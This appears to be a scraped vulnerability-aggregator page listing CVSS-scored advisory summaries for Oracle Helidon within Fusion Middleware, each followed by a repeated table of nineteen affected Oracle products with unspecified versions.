A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware's Helidon 1.4.20 has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability via HTTP.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 1.4.19 allows unauthenticated remote attackers to create, delete, or modify critical data via HTTP, with a CVSS 3.1 base score of 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 1.4.20 allows unauthenticated network attackers via HTTP to perform unauthorized data update, insert, or delete operations, with a CVSS 3.1 base score of 3.7 indicating low to moderate integrity impact.
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 1.4.19 allows unauthenticated remote attackers to create, delete, or modify critical data via HTTP, with a CVSS 3.1 base score of 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 1.4.19 allows unauthenticated HTTP attackers to gain unauthorized access and manipulate Helidon data, with a CVSS 3.1 base score of 8.2.
8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A denial of service vulnerability in Oracle Fusion Middleware Helidon 3.2.20 allows unauthenticated attackers with HTTP network access to hang or crash the server, rated CVSS 3.1 base score 7.5 for availability impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.3 allows unauthenticated HTTP attackers to perform unauthorized data read, update, insert, or delete actions, with a CVSS 3.1 base score of 7.2.
7.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.3 allows unauthenticated attackers with HTTP network access to perform unauthorized data modifications, read access, and partial denial of service, rated CVSS 3.1 score 8.3.
8.3 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated network vulnerability in Oracle Fusion Middleware Helidon 4.5.3 allows HTTP-based exploitation leading to unauthorized data access, modification, deletion, and partial denial of service, rated CVSS 3.1 9.9.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.3 allows unauthenticated attackers with HTTP network access to perform unauthorized data modifications, read access, and partial denial of service, rated CVSS 3.1 score 8.3.
8.3 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.3 allows unauthenticated remote attackers to cause a partial denial of service via HTTP, with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.3 allows unauthenticated attackers with HTTP network access to perform unauthorized data modifications, read access, and partial denial of service, rated CVSS 7.3.
7.3 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated attackers to cause denial of service via HTTP/2, with a CVSS 3.1 base score of 7.5 due to its impact on system availability.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated HTTP/2 attackers to cause denial of service by hanging or crashing the system, with a CVSS 3.1 base score of 7.5 due to availability impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A denial of service vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to crash or hang the server via HTTP, with a CVSS 3.1 base score of 7.5 due to availability impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP/2 access to cause denial of service and unauthorized read access, rated CVSS 3.1 base score 8.2.
